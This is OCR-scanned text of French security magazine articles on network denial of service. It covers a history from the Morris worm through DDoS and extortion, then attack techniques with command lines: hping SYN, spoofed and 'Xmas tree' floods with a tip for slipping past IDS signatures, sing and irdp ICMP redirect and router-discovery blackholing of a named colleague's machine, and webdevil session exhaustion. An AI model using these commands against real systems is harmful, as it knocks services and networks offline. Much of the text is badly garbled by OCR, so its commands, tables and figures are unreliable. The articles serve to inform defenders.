premiére bombe. En effet un proof of concept ecrit par un certain
Robert Morris Jr. mettait hors d'état de fonctionner 6.000
systemes sur Internet, soit environ |5% de la population « active »
du reseau.

Ce ver, creé pour se propager en exploitant vulnérabilités et
erreurs de configurations, ne contenait pas de charge. Neanmoins,
incapable qu'il était de detecter sa présence sur un systeme, il
ne s'est pas contente de se reproduire sur les systemes distants,
mais egalement en local. La consequence est alors évidente : a
la longue des milliers de petits process tournaient sur le systeme
cible et provoquaient le premier DoS massif de I'histoire.

Les SYNFloods

Il est difficile d'évaluer la date du premier DoS par SYNFlood. En
effet, et comme nous le verrons plus loin dans ce dossier, les
SYNFloods font partie des DoS par concepts. Cela signifie gu'ils
sont la conséquence directe d'une erreur de specification d'un
protocole ou d'une application. UDP est spoofing ready, TCP est
DoS Ready, chacun sa croix. Aussi est-il d'usage de dire que les
SYNFloods existent depuis que TCP existe.

Anatomie d'un SYNFlood

Le concept a beau ne pas étre nouveau, il trouve toujours des
applications de nos jours. Les backbones d'opérateurs sont |'endroit
idéal pour observer ces attaques d'un autre temps, qui présentent
au moins l'avantage d'étre aisement repérables. Dans la mesure
ot ils ciblent un service applicatif sur une machine donnée, les
paquets caracteristiques de |'attaque auront au moins en commun
une adresse IP et un port destination, libre apres a |'instigateur de
spoofer I'adresse IP source de ces derniers comme dans le tableau
suivant, extrait d'un cas reel :

IP Source IP Destination  Port Source  Port Destinatien
(70.24.11.213 | 217.172.18427 | 1142 8767
195.110.78.3| 217.172.184.27 1885 B767
20.117.44.79 217.172.184.27 | 1185 8767
202.140.234.35 | 217.172.184.27 | |108 8767
142.242.37.16 217.172.184.27 | 1784 8767

Les capacites des systemes et réseaux actuels ne font qu'accroitre les
capacités de nuisance de ce type d'attaques, dont |es répercutions
peuvent se faire sentir jusqu'aux reseaux de ceeur !

Monbre de Flux sur KEMATER 1o 2003-11-12

BxanHn

Figure | : Evolution du trafic lors d'une attague par SYNFlood
T

Les avancées majeures
1995 : Le Ping de la Mort

Cet ancétre célebre, vieux de 10 ans, est le premier déni de
service fonde sur des anomalies. || consistait a envoyer des paquets
ICMP Echo Request fragmentés de plus de 65.535 octets. Presque
aucun stack ne resistait a la puissance de I'attaque dont les effets
allaient du freeze du systéme pendant la durée du bombardement
a |'écran bleu de la mort.

La seconde caractéristique de cette attaque est sa simplicite de
mise en ceuvre. En effet n'importe qui était a méme de lancer
ping www.pendsmoipouruncon.com -l 65510 au prompt de
Windows 95 ou NT4.
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Impact du ver Slammer sur RENATER

Aussi connu sous le nom de Sapphire [1], ce ver 2, par sa propagation, donné naissance a I'un des denis de service les plus importants de ['histoire
d'Internet. Pour se diffuser, ce ver envoyait un simple paquet UDP 4 destination de centaines de milliers d'hotes, engendrant une augmentation
considerable du nombre de flux reseau et du debit. Avec les conséguences connues a ce jour : engorgement des reseaux, ecroulement des routeurs,
le tout aggrave par I'heure (tot) et le jour (un samedi) de déclenchement. Le réseau RENATER a vu son nombre de flux multiplie par 20 et son débit
entrant impacté lourdement. Plusieurs filtres ont été posés au long de la journée, correspondant aux paliers presents sur les graphiques.

Nonbre de Flux sur REMATER le 2883-01-2%
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Débit sur RENRTER le 20603-01-25
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Figure Za : Evolution de nombre de connexions sous 'sffet de Stammer

Figure 2b : Evolution du trafic sous I'effet du vers Stammer

Pour la petite histoire un fabriquant de systemes d'exploitation
particulierement vulnérable a cette attaque a développeé un patch.
Ce dernier protégeait de |'attaque mais plantait I'OS lorsque
lattague était lancee depuis le systeme patche...

I n'en reste pas moins que le ping de la mort a cuvert la voie a des
dizaines d'autres attaques s'appuyant qui sur des paquets UDP
fragmenteés, qui sur des paquets dont les sources et destinations
de couches 3 et 4 sont identigues et dont |'effet etait mortel, au
sens litteral du terme, sur les systemes d'information.

Smurfing

A peine remis du ping de la mort et de ses petits copains, les
systemes ont di affronter une nouvelle forme de menace : les
attaques par reflexion, initiees par le smurfing. Le principe et la
mise en ceuvre etaient encore une fois triviaux : pinger une adresse
de reseau en spoofant la source. Ainsi tous les hotes du réseau
auquel est destiné le ping répondent a la cible de l'attaque.

L'absence quasi generalisée de filtrage de I'époque et la
consideration de ICMP comme un protocole de contréle inoffensif
permettaient d'obtenir un effet de levier considéerable dont les
tonsequences etaient doubles. D'une part, la gestion de centaines
de ICMP Echo Reply par seconde induisait une consommation
de ressources processeur importante {genre 100%) et d'autre
part le trafic ainsi genéré saturait parfois les liens Internet qui
dépassaient a |'époque rarement 256 kbps.

Les DDoS

On en parlait plus d'un an avant. Quatre mois plus tot, un post sur
Bugtraq donnait un lien sur les sources. Mais rien n'y a fait, et les
7 et 8 février 2000, Yahoo, E-bay, Amazon et des dizaines d'autres
sites web de premiere envergure tombaient sous les coups des
Trible Flood Network(2k), Trinoo et Stacheldraft. L'ere des dénis
de service distribués commencgait.

Outre l'affligeant constat que le domaine de la sécurité reste
essentiellement un domaine dans lequel les responsables préferent
guérir (trop tard) que prevenir, les DDoS ont prouvé que les
nombreux réseaux a la sécurisation douteuse représentent un
potentiel considérable en tant qu'effet de levier pour le lancement
d'attaques massives. Car ces attaques ne reposaient que sur le
volume. Ainsi aucun des trois sites web cités plus haut n'a été
mis hors service par les dizaines de milliers de connexions qu'ils
avaient a gérer. Mais ce sont les liens opérateurs qui ont éte
saturés, interdisant de facto toute connexion.

L'age de raison
Code Red

Les brigues étaient désormais posées. Néanmoins, les techniques
restaient indépendantes les unes des autres. C'est cette derniére
barriere que Code Red a su faire tomber, en associant le
mécanisme de propagation d'un vers a |'efficacité des denis de
service distribués. La faille Unicode de IIS 5.0 s'est donc retrouvée
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exploitée afin de diffuser un agent dont I'objectif final était
d'établir des connexions sur le site web de la maison blanche.

Heureusement, le createur du ver a, encore une fois, sous-évalué
l'impact de sa creation, et plus particulierement sa rapidité de
propagation. Ainsi, quand il avait prévu qu'il faudrait un mois pour
que le nombre d'agents dormants soit suffisant, il a suffic d'a peine
une semaine, délai a |'issue duquel le ver a pu étre « capturé »,
désassemblé et analysé. La publication rapide d'outils de nettoyage
a alors permis de réduire suffisamment 'impact de I'assaut.

L'avenement du broadbhand

L'arrivée des liens a haut débit dans les habitations particuliéres
est également un tournant important dans |'histoire des denis de
services. Quand il fallait avoir acces a un réseau universitaire pour
pouvoir lancer une attaque efficace, une connexion ADSL peut
souvent faire l'affaire. Cette révolution, couplée aux acces WiFi
protegés (eh, eh) par du WEP, met a la portée de n'importe qui
{ou presque) le lancement d'attaques 4 des débits considérables
et de maniere quasiment anenyme.

Les DoS aujourd'hui

Techniques actuelles

Nous sommes loin désormais des innovations technologiques de la
decennie précédente. Néanmoins la combinaison d'automatisation
et de démocratisation des acces Internet a haut debit n'incite pas a
la recherche. Cela en est a un point que l'attaque land, consistant a
envoyer des paquets UDP dont |'adresse source et destination ainsi
que les ports source et destination sont identiques, a été remise

au goiit du jour et publiée début mars. La seule modification est le
lancement en paralléle des attaques, ce qui était autrefois presque
impossible compte tenu des performances des 486...

Pire, le fait que ce type d'attaque ressurgisse indique clairement
que les stacks IP n'ont pas eté correctement corrigés. S'ils ne
plantent pas des le premier paquet, ils nécessitent toujours
des operations CPU nombreuses et colteuses. Certes, il etait
impossible de s'en apercevoir il y a quelques annees, mais c'etait
sans compter avec |'évolution des performances des ordinateurs
personnels.

Comme quoi si la stratégie du « jusqu'ici ¢ca va » ne peut étre
utilisée en politique, elle devient totalement inexploitable
en informatique, ol tout est gardé en mémoire et la sanction
immeédiate.

Exploitation des DoS

Un point n'a cependant toujours pas été abordé. Quelles sont
les motivations qui menent a perpétrer un déni de service ? Tout
d'abord, il faut s'affranchir d'une excuse fallacieuse et faussement
valorisante auprées des cryptos vrais hackers : un deni de service
permet de genérer une attaque a la Mitnick en descendant
le systeme dont nous allons usurper la relation de confiance.
Certes, il est toujours possible de trouver des systemes qui font
tourner les r* services, suffisamment obsoletes pour que I'ISN
soit prédictible et qui sont sur des réseaux n'implémentant aucun
mecanisme d'anti-spoofing... Bon, mais voila quoi, il faut rester
raisonnable.

Plus concretement le premier motif des dénis de service est
I'hacktivisme ou cyber-terrorisme en fonction du cété de

La guerre des DoS

connexion et peuvent transporter des charges utiles conséquentes.

Oéhit pour le bloc SOBeSmenssm® (2004-06-17 00:00:00)

v

La taille d'un paquet d'initiation d'une connexion TCP est relativement faible (une soixantaine d'octets en général). Ainsi, I'envoi de multiples paquets
SYN n'engendre pas nécessairement une augmentation du débit a destination d'un site, mais peut handicaper le systéme d'exploitation ou le serveur
applicatif cible ou encore le routeur d'acces le desservant. D'un autre cote, les paquets ICMP ou UDP ne necessitent pas de mise en place de

Dans les graphiques suivants, illustrant un cas récent, on observe la décorrélation totale entre le nombre de flux et le debit d'un site. Vers 14h05 a
lieu une augmentation anormale du debit en provenance du bloc d'adresses, probablement un UDPFood ou ICMPFlood : un nombre moyen de paquets
pour un volume de donnees important. Puis vers |6h45, on constate une augmentation anormale du nombre de flux a destination du bloc d'adresses,
sans trop de répercussion sur le debit : un SYNFlood. Assisterait-on a un conflit dont I'arme principale est le DoS ?

Nonbre de fluk pour le bloc pEeisetitegs (2004-D6~-17 A0:00200)

Figure 3a : |4h05 - Augmentation du débit

Figure 3b @ [6h45 - Augmentation du nombre de connexions




la barriere (et & terme des barreaux) ou l'on se trouve. Ce
comportement est une reéalité et se base sur une pseudo-
information géopolitique comme seule justification. L'humeur de
['auteur et un QI équivalent a celui d'une huitre élevée sur le granit
mazouté et radioactif de Saint-Jacut-de-la-Mer sont également
des éléments déterminants.

Mais passons aux choses sérieuses et intéressons-nous
directement au nerf de la guerre. Prenons une société qui gagne
beaucoup d'argent grace au Net, que ce soit de maniére directe
(vente en ligne, transactions financiéres, paris, etc.) ou non
(operateur, ISP, hébergeur, etc.). La disponibilité de vos liens
etlou de vos systemes est la premiere préoccupation. Prenons
maintenant un méchant. Quelques jours avant un événement
important générant beaucoup, beaucoup d'argent chez la cible
(tel qu'un match de coupe d'Europe pour les paris en ligne ou une
reunion de la Fed pour les sites financiers), un deni de service
temporaire de quelques dizaines de minutes est lance. A |'issue
de cette opération une societé de conseil basée aux iles Caiman
contacte la victime et lui propose une protection contre cette
attaque, pour un colt de l'ordre de quelques pourcents du cout
quaurait cette attaque si elle était lancee le lendemain. C'est du
racket. Ni plus, ni moins. C'est trés a la mode et c'est la realite
des dénis de service aujourd'hui.

Conclusion

Les dénis de service ne sont pas seulement un deélit
(en France en tout cas). Ce sont aussi les actes les plus
imbéciles du monde du switch et du baud gue nous decrit le
Mentor (quoique le sbam apparaisse également comme un
concurrent sérieux). Rendus plus efficaces par I'évolution
rapide des technologies « grand public », ils représentent
une vraie menace pour Internet.

L'objectif de ce dossier est de montrer concretement la
réalité de cette menace. Car si des solutions existent,
l'incrédulité de nombreux « professionnels » des systemes
d'information en général et de la sécurité en particulier
représente un risque plus grand encore.

Pourquoi, pourquoi j'ai pas pris la pilule bleue ?

Références

[11 MISC 8, « Sapphire », par Eric Filiol
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Les dénis de service réseau

La communication entre systémes s'appuie sur des
normes. Ces derniéres, décrites dans les RFC, définissent
et normalisent les informations qui permettent a des
systémes distincts, utilisant des OS différents de se
comprendre. La majeure partie de ces protocoles
ont été cependant écrits dans les années 80, quand
la priorité était d'étre a méme de transporter des
données de maniére fiable. La sécurité n'était alors
qu'un concept et n‘entrait absolument pas en compte.

C'est donc sur cette base instable que sont bitis les systemes
d'information actuels. Et c'est sur cette base instable que
s'appuient les différentes et nombreuses techniques de cyber-
destruction. Cet article en explique les principes et démontre
avec quelle facilité un réseau sans protection peut étre mis a
genoux avec des moyens limiteés.

Les attaques protocolaires

Ces attaques cherchent a exploiter le protocole de transport et
visent par consequent essentiellement les piles IP, point d'entrée
vers les ressources essentielles des composants du systéme
d'information : la mémoire et la CPU.

Les SYNFloods

Les attaques par SYNFlood sont liées au concept méme de TCP et
a son mode de fonctionnement. En effet le mode d'établissement
d'une session TCP définit clairement la célébre séquence en trois
temps SYN-SYN/ACK-ACK et les differents parametres devant étre
pris en compte pour la validation de cette session, a savoir le
quadruplet adresses IP (source & destination), port (source &
destination) et le suivi des numeéros de séquence. Ce dernier
point, sense a l'origine distinguer les différentes sessions, puis
utilise afin de lutter contre le spoofing, 2 impose le stockage en
mémoire des parameétres de connexion des sessions en cours
dans une table specifique : le TCB (Transmission Control Block).
Necessairement de taille limitée, cette table est a |'origine des
attaques par SYNFlood.

Il s'agit d'initier de nombreuses connexions (quelques dizaines
voire centaines de milliers) en envoyant un paquet SYN sans jarnais
repondre aux SYN-ACK eémis par le serveur. La mise en ceuvre est
triviale et se résume en une unique commande :

# fipingd --syn -M <numéro de séquence> -L § -p <port cible> <adresse ciblex --
flood

avec un numero de séquence quelcongue, un port ouvert et
I'adresse IP du systéme cible. Sur un Pentium IV, le nombre de
paquets par seconde peut atteindre 150.000.

Les SYNFloods présentent de nombreux « avantages ». Dans un
premier temps, les paquets emis sont de petite taille (64 octets).
Un serveur derriere une connexion a |0Mbps (ce qui n'est pas

enorme) pourra donc recevoir environ 20.000 SYN par seconde.
Sur un réseau interne la limitation viendra en géneral de la capacite
de la machine attaguante a generer des paquets.

Lors d'une attaque par SYNFlood, |a source de l'attaque ne
repond pas aux SYN-ACK du serveur cible. Dans l'absolu, il n'est
méme pas nécessaire qu'elle le recoive, ce qui nous mene au
second « avantage » : la possibilité de spoofer la source des SYH,
qui s'effectue trivialement en ajoutant 'option --rand_source a
la ligne de commande donnée ci-dessus. De cette maniére, il
est particulierement difficile de remonter a la source d'une
attaque. En outre, les SYN-ACK ne seront pas renvoyes a la machine
attaquante, ce qui reduit l'occupation de sa bande passante.

Variations en SYN

Un autre type d'attaque protocolaire est la transmission de
paquets en dehors d'une session. Ainsi, un SYN-ACK n'appartenant
a aucune session en cours d'établissement sera a l'origine de
'émission d'un RST. A petite échelle, cela ne pose pas de probleme,
mais au rythme de plusieurs dizaines (voire centaines) de milliers
par seconde, le processeur sollicité par la pile réseau n'apprécie
guere... Il semble inutile de préciser que le spoofing de la source
est un must dans ce cas de figure encore. Bref, la commande :

# fpingd -84 --rand-source -1 12345 -M 54321 -p B <adresse cible> --flood

fera son petit effet.

Le plus beau geste technique consiste a mixer ce type d'attaque
avec un SYNFlood dont nous spoofons les adresses source. Si
ces adresses correspondent a un port ouvert sur une machine
accessible, cette derniére recevra le SYN-ACK. N'appartenant a
aucune session existante ce SYN-ACK sera rejete avec un R5T. Ainsi,
notre SYNFlood beneficiera d'un deuxieme effet kisscool, a savoir
une augmentation substantielle du trafic (avec des petits paquets
en plus — voir « effets de bords »), liee a ces RST.

Bien entendu, I'effet SYNflood ne sera pas complet dans la mesure
ou les entrées de la TCB seront supprimeées a la reception du RST.
Neanmoins, l'ouverture puis la fermeture de dizaines ou centaines
de milliers de sessions par secondes ne devrait pas donner lieu
a discussion.

Autres attaques protocolaires

Les SYNFloods (et leurs variantes) sont un cas d'école des types
d'attaques se basant sur le respect aveugle des standards. D'autres
attaques peuvent étre construites de cette maniere.

Par exemple, lorsqu'un paquet [I0F est émis a destination d'un
port ferme, le serveur, conformément a la norme, doit envoyer
en reponse un paquet [CMP port unreachzble dont les donnees
contiennent 'en-téte du paquet UDP original ainsi que les 64
premiers octets de donnees du meme paquet. La cible doit donc
recreer un paquet [CHP pour chaque paquet 0P recu, ce qui, sur la
base d'un volume important finit par utiliser beaucoup, beaucoup
de ressources CPU.
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Les Anomalies

Tout le monde se souvient ou au moins connait de nom pour
les plus jeunes d'entre nous, du Ping of Death. Cette attaque fut
la premiere d'une longue série et se basait sur l'incapacité des
stacks IP a gerer correctement des cas exceptionnels. Le Ping
utilisait des paquets ICHP fragmentés dont la taille totale depassait
65.535 octets, les familles Bo(i)nk et Teardrop s'amusaient
avec la fragmentation UOP, générant des paquets qui, apres
réassemblage, dépassaient la taille de la zone mémoire attribuée
par le systéme, et Land envoyait 4 une cible un paquet 0P avec
comme caractéristiques adresse source = adresse destination
etport source = port destination. Dans tous les cas, la sanction
etait sans appel. BOUM !

De nos jours, les stacks ont corrige ces erreurs et il ne suffit
plus d'un seul paquet pour obtenir le Blue Screen of Death.
Neanmoins, le traitement de cas exceptionnels reste ardu et fort
consommateur de ressources. Il en est de méme des paquets
contenant des anomalies protocolaires, tels que les « sapins de
Noel » TCP (avec les flags SYN/FIN/ACK/RST/PSK/URG positionnés),
les paquets SYN avec un numéro de sequence nul ou encore les
paquets dont la taille totale ne correspond pas i la valeur indiquée
dans le champ correspondant. Un paquet ne suffit plus, mais avec
du volume... Ainsi la commande :

# fpingd -SAFRU -L § -M 8 -p BE <adresse cible> --f

d

va faire trés mal a votre serveur web, pourvu que la bande passante
le permette de part et d'autre. On notera au passage l'absence
du flag PUSH. En effet, les systemes de détection/prévention
d'intrusion utilisent en général une signature pour le « sapin de
Noél », et il serait dommage que nos paquets soient bloqueés...

Toutes ces attagues se basant sur la génération d'un volume
important de paquets dans un minimum de temps, l'utilisation
du couple hping/tcpreplay tel que décrit un peu plus loin reste
un must...

Effets de bords

Les attaques vues précedemment peuvent dans certains cas avoir
un effet secondaire amusant. En effet, les paquets genéres dans
les attaques de type SYNFlood, Xmas Tree, out-of-session, etc. sont
des paquets de petite taille (64 octets). |l est donc relativement
aisé, méme avec une bande passante limitee de générer beaucoup
de paguets.

Ce traitement des petits paquets a toujours été problématique
avec les equipements d'interconnexion réseau tels que les
routeurs et par extension les firewalls et les IPS.

Il n'est alors plus question de capacité en termes de bande
passante mais de paquets par seconde. Ce détail a énormeément
d'importance dans la mesure ou, pour chague paquet, une décision
est prise par |'équipement (routage, filtrage, etc.) en fonction de
paramétres liés aux en-tétes ou aux données. Un firewall vendu
pour une capacité de 100 en termes de bande passante verra

cette performance divisée par 10 lorsqu'il sera confronte a des
flux essentiellement composes de petits paquets. Le ratio de 1/10
peut bien entendu varier en fonction du nombre de regles, du
constructeur, etc. mais reste un ordre de grandeur realiste.

Ainsi il n'est pas rare de voir un SYNFlood monstrueux faire
tomber les routeurs du POP d'un opérateur avant méme
d'atteindre sa cible...

Les attaques sur la connectivité

Dans un autre registre, mais toujours sur le méme principe,
les protocoles peuvent étre exploités afin d'interrompre la
connexion entre deux systemes informatiques, portant ainsi le
déni de service non sur le domaine des performances mais sur
celui le la connectivite.

Le principe du Blackholing, dans le cadre d'attaques, est de
rediriger un flux vers une adresse, logique ou physique, qui ne sera
pas a méme de le transmettre a sa destination. Dans une certaine
mesure, il est possible de considérer que ce type d'attaque est une
attaque man in the middle dont I'homme du milieu est incapable
de créer la deuxieme partie de la connexion.

Blackholing de niveau 2

Au niveau de |a couche 2, |e blackholing vise a corrompre la table
de résolution des adresses physiques (la table ARF).

Une premiere technique consiste a émettre des annonces ARP
non-sollicitées. Défini pour optimiser la vitesse d'etablissement
des communications, réduire le trafic sur le reseau et detecter
dés le boot d'un systéme tout doublon d'adresses IP, ce mécanisme
autorise un systéme a envoyer un message ARP en broadcast
annongant sont adresse IP et son adresse MAC. Les systémes
recevant cette information mettent a jour leur table de résolution
AR? avec les nouvelles informations recues. L'attaque devient
alors évidente et peut prendre plusieurs formes, en fonction des
objectifs et des outils.

Prenons le cas d'ettercap [ettercap]. Cet outil fonctionne en deux
temps. Dans une premiere phase, il détecte les hotes présents
sur le reseau via un scan ARP (i. e. il émet des requétes ARP sur
I'ensemble des adresses du réseau et attend les reponses). Une
fois la liste des adresses IP établie, il envoie en continu autant de
messages ARP non-sollicites que d'adresses en indiquant comme
adresse MAC correspondante sa propre adresse MAC. Ainsi
I'ensemble des systémes du réseau acceptant les messages ARP
non sollicités enverront systéematiquement toutes leurs trames au
systeme faisant tourner ettercap. Si ce dernier ne forwarde pas le
trafic, nous obtenons un déni de service global sur le reseau.

De maniere plus subtile les messages ARP non-scllicités peuvent ne
cibler qu'un serveur ou la default gateway du réseau. Le principe,
et |'efficacité, de l'attague restent neanmoins les mémes.
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Une autre méthode peut permettre d'arriver a ce résultat en
corrompant localement le cache ARP du systéme. Un tel resultat
peut étre obtenu par exemple avec un outil de type SHMPoof
[SNMPoof]. Ce dernier essaie differentes communautes SNMP,
puis accede a la branche ipletToMediaPhysAddress de la Mib.
Cette derniére contient la table ARP. |l ne reste plus alors qu'a
modifier les entrées intéressantes (telles que la default gateway)
et le systéeme cible ne sera plus 3 méme de communiquer avec
I'extérieur. Pour plus de détail voir l'article « Usage de SNMP
(get|set) » dans MISC n°l 1.

Blackholing de niveau 3

Si les techniques de niveau 2 sont particulierement efficaces et
difficiles a contrer de maniére simple, elles restent néanmoins
limitées en termes de zone d'impact au réseau (au sens OSl du
terme) auquel appartient 'attaquant. Afin de s'affranchir de cette
restriction, il est donc nécessaire de trouver un mécanisme de
niveau réseau (couche 3) permettant de rediriger le trafic vers
une adresse |P inexistante ou vers un systéme qui n'est pas a
méme de le transmettre a sa destination.

La principale technique consiste a abuser des messages [CHP
Redirect (ICMP type 5 code 2) afin de notifier a la victime du déni de
service gue sa passerelle par défaut a changeé. Les caractéristiques
du paquet devant étre envoye sur le réseau sont alors les
suivantes :

=+ Source : passerelle par defaut ;

+ Destination : cible de l'attaque ;

+ Type/Code : 5 (ICMP Redirect)/2
(Redirect pour un reseau) ;

+ Route destination : 0.0.0.0
(changement de passerelle par défaut) ;

+ Nouvelle passerelle : adresse |P inexistante ou systéme
incapable de router les paquets.

Lole souhaite jouer un tour pendable a Pappy. Ce dernier
travaille sur une station Windows dont I'adresse IP est
192.168.202.103 et la passerelle par défaut 192.168.202.1,
comme le prouve la sortie de la commande netstat -rn.

[:\Peppy> netstat -rn
Route Table

Active Routes:

Netwark Destination Netmask Gateway Interface Metric
0.0.0.0 0.5.0.6 192,168.282.1 152.168.702.183 k]
127.0.8.8 255,0.0.0 127.8.8.1 127.8.48.1 1
192.168.202,8  255.255.255.0 192.166.202.183 192.168.202.143 i
192.168,262.183  255,255.255.255 177.8.8.1 127.6.8.1 3
192,168,202.255 255.255,255,255 192,168,202,103 192.168.262.163 38
724.8.0.0 240.8.0,0 192.168.282.103 192.168.202.183 i

255,255,255,255 255,255,255.255 192.168.202.183 192.168.202,103 1
lefault Gateway: 192,168.202.1

Lolo utilise sing (Send ICMP Nasty Garbage) [sing] afin
d'empécher Pappy de se balader sur des sites web
pudiquement qualifies de « non-productifs ». Il change sa
passerelle par defaut en 192.168.202.5 qui n'est autre que
I'imprimante du reseau,

[root@localnost root]# sing -red -S 192.168.202.1 -ow 192.168.202.5 -dest
f.0.8.8 -x net 192.166.202.143

SINGing to 192,168.202.183 (192.168.202.103): 36 data bytes

La sortie d'une nouvelle commande netstat sur le poste de
« travail » de Pappy est édifiante.

C:\Pappy> netstat -rn
foute Table

Active Routes:

Network Destination Hetmask Gatewdy Interface Metric
£.0.9.0 d.0.0.8 192.166.782.5 192.168.202.183 38
127.9.8.9 255.0.0.9 127.8.8.1 127.8.8.1 1
192.168.202.6 255.255.255.0 192.168.262.100 192.168.2#2.183 30
192 168,282,183 255.255,255.255 127.8.8.1 127.8.8.1 K]}
192,168.282.255 '255.2h5,255.060 197.168.202.183 192.168.20%.10 kL
274.8.0.0 240.0.0.0 192.168.202.183 192.168.202.183 &l
255,255,255.255 255.255.255.255 107,168.202.183 |92.168.202,183 1
Default Gateway: 102, 168.202.5

-

Un Blackhofe de niveau 3 peut egalement étre cree grace aux
mécanismes de configuration dynamiques. Ainsi DHCP dont les
lacunes de sécurité ont deja éte abordees dans Misc n"4, peut
étre facilement exploité via un outil tel que maraveDHCP.pl
[maraveDHCP]. Le principe consiste a geénerer un deni de service
sur le serveur DHCP (voir plus loin) puis de repondre a sa place
aux requétes DHCP.

L'attribution d'adresses IP et de passerelles par défaut erronees
genereront alors un deni de service global sur |'ensemble des
systemes de reposant sur DHCP pour le parametrage de leur
pile IP.

26/09/2002 15:28:23
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10.1.21.196 26/09/2002 15:29:43
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10.1.21.205 26/09/2002 19:29:23




Dans le méme ordre d'idées, il est parfois possible d'utiliser
les mécanismes de découvertes des routeurs. Dans le cas de
Windows 2000 et lorsque le support de la découverte de routeurs
estactive, les systémes sont affectés au démarrage au groupe de
multicast 224.0.0.1 et ecoutent les annonces des routeurs. Rien
de plus simple alors qu'émettre une annonce malicieuse indiquant
une passerelle par défaut invalide.

En reprenant les données de l'exemple précédent Lolo utilise
maintenant irdp pour effectuer son attaque :
[root@localnost root]# irdp -1 ethd -S 192.168.202.5 -0 192.168.282.183

Les attaques applicatives

Passé les couches réseau, il reste un univers a exploiter, celui des
couches applicatives. Loin d'étre exemptes de vulnérabilités, elles
présentent |'avantage d'avoir deux « interfaces » : la premiére
reste la gestion de la connectivité réseau, opérée en fonction
des données recues par les sockets adéquates, la seconde est
le traitement interne des données regues et, potentiellement,
I'émission de la « réponse ».

Pending Sessions

Les termes « Pending Session » décrivent des sessions qui sont
ouvertes sur |'application distante mais qui ne générent pas ou plus
dactivite. L'impact en termes de sécurité, et plus spécifiqguement
en ce qui concerne les dénis de service, est relativement evident.
En effet, la plupart des applications limitent le nombre de
sessions concurrentes, ce essentiellement pour des raisons de
performances. |l suffit alors d'établir un nombre de connexions
atteignant le maximum autorisé et l'application ne sera plus a
méme d'en accepter de nouvelles...

En quelque sorte, les attaques par Pending Sessions sont une
variante niveau 7 du SYNFlood. L'impact d'une telle attaque peut
parfois étre tel que I'ensemble du systéme va étre affecté par
lattaque. Le déni de service partiel devient alors global.

Mettre hors service un serveur web est relativement trivial
avec un outil tel que Webdevil [webdevil]. Ce dernier établit
des sessions HT TP sans jamais les clore. La commande
suivante genere |.000 connexions sur le port B0 d'un
serveur.

[root@locathost root]# webdevil 18.8.0,181 88 1880

uebgeyll script written to stress test a server service/port - mike jackson
2.

> onnected to 16.0.9.161:80 ...
«> connected to 10.8.8.181:80 ...
=> connected to 10.0.0.101:80 ...
= connected to 10.0.8.181:80 ...
=> onnected to 10.9.8.181:80 ...
£-- gpip -->

La trace (volontairement limitée ici a une session) justifie nos
inquietudes... La session est ouverte mais jamais fermeée.

[root@localhost root]# topdump port 89
teodump: 1istening on ethd

$9:18:34.493124 192.168.282.123.2265 > 18.0.0.181.hitp: §

3399360246 339096024608) win 5840 <mss 1460, sackik,timestamp 7852646
B,nop,wscale 8> (DF)

09:10:34.407885 10.0.0.181. http > 192.168.282.123.2265: §
3966490447:3966499447 () ack 3390960247 win 6792 <mss 1460,sackOK, timestamp
59248819 7852646, nop, wscale B> (OF)

09:10:34.498867 192.168.202.123.2265 > 10.9.8.161.ht%p: . ack 1 win 5840
<nop,nop,timestamp 7852647 59248B19> (DF)

Soit SYN, SYN-ACK, ACK et c'est tout. A titre indicatif un
Pentium |l sous Fedora Core | met a genoux un Pentium
IV Bi-pro avec Apache 2.0.47 « out of the box ». Et si ce n'est
pas suffisant Webdevil peut travailler de maniére distribuee..,
Quelques zombies et I'affaire est dans la poche !
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Enfin, il est possible d'effectuer le travail sans garder les sessions
ouvertes sur le poste attaguant. Cette variante, mise en csuvre
par Naphta [Naphta], fait usage d'un serveur tiers qui sera
responsable du reset de la connexion coté client. Le serveur
garde alors ses sessions ouvertes alors que le client n'utilise plus
de ressources a cet effet.

Sessions Flooding

La plus classique des attaques, rendue celebre en 2000 par les
DDoS, est la mise a mort par saturation. Dans ce cas, il s'agit tout
simplement d'établir des connexions et d'émettre des requétes
tout 2 fait légitimes sur le serveur, ce a un rythme particulierement
important.

L'objectif est alors d'affecter un des goulets d'étranglement
suivants :

+ Lien Télécom : I'augmentation considérable du trafic peut
saturer le uplink fourni par l'opérateur. Dans ces conditions plus
aucune communication n'est possible avec le réseau desservi par
le lien. Ainsi un deni de service ciblé vers un serveur devient un
déni de service global.

+ fpplication serveur : le processus serveur lui-méme peut
étre sature par le nombre de connexions. Ce phénomene peut
avoir differents impacts. |l est possible qu'aucune nouvelle session
ne soit accepteée, |'effet est alors similaire a celui produit par une
attaque par Session Pending ou le traitement des connexions par
le processus peut étre consommateur de ressources et provoguer
une utilisation telle de la mémoire et/ou de la CPU que le systeme
est mis « hors service ».

+ Applications tierces : I'application serveur peut tenir
le coup. Néanmoins, il est rare qu'une telle application soit
complétement autonome et en général une base de données ne
se trouve pas loin... Cette cible privilegiée est un autre goulet
d'étranglement dans la mesure ou le traitement soudain d'un
nombre de requétes 10, 100, 1000 fois supéerieurs au volume
pour lequel elle a été dimensionnée mene bien souvent a des
dysfonctionnements « définitifs ».
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Prenons le cas trivial des DDoS se contentant de rapatrier la
Home Page d'un site web, ce a un rythme infernal de plusieurs
milliers d'opérations par secondes, et suivons son impact
tout au long des étapes de la communication. Pour l'exemple
nous dirons que la home page est un script PHP qui formate
des données d'une base MySQL pour un affichage dynamique.
Bien entendu, la page contient des images, soit un « poids »
total de l'ordre de 100 ko (ce qui n'est vraiment pas gros).

H Etape | :Larequéte arrive au serveur

Le nombre considerable de requétes quasi simultanées
a traiter peut saturer le processus HTTP (I'application
serveur), limité volontairement en termes de connexions
simultanees. Des lors plus aucune connexion n'est possible
tant que l'attaque a lieu.

H Etape 2 : PHP interpréte le script

En fonction de la complexite du seript, il n'est pas impossible
que le processeur atteigne une utilisation tres elevee compte
tenu du nombre important de traitements a effectuer.

HEE Etape 3 : MySQL traite les requétes

Méme topo que pour PHP, la base de données n'est pas
nécessairement optimisée ou dimensionnée pour traiter
plusieurs milliers de requétes par secondes. Si la base
de donnees est sur le méme serveur que PHP l'effet est
double...

I Etape 4 : La page est renvoyée au client

1000 pages de 100 ko par secondes = 80 Mbps de trafic sur
le lien Internet. |l est possible que ce dernier soit rapidement
sature.

» L'etape (l.) correspond a la saturation de |'application
serveur.

* Les etapes (2.) et (3.) concernent les applications tierces
(PHP et MySQL).

» Enfin I'etape (4.) peut induire une saturation du lien
Telecom.

Il est important de noter que de nombreux parametres
entrent en consideration (taille du lien, puissance du serveur,
parametrage des applications, gestion de caches, nombre
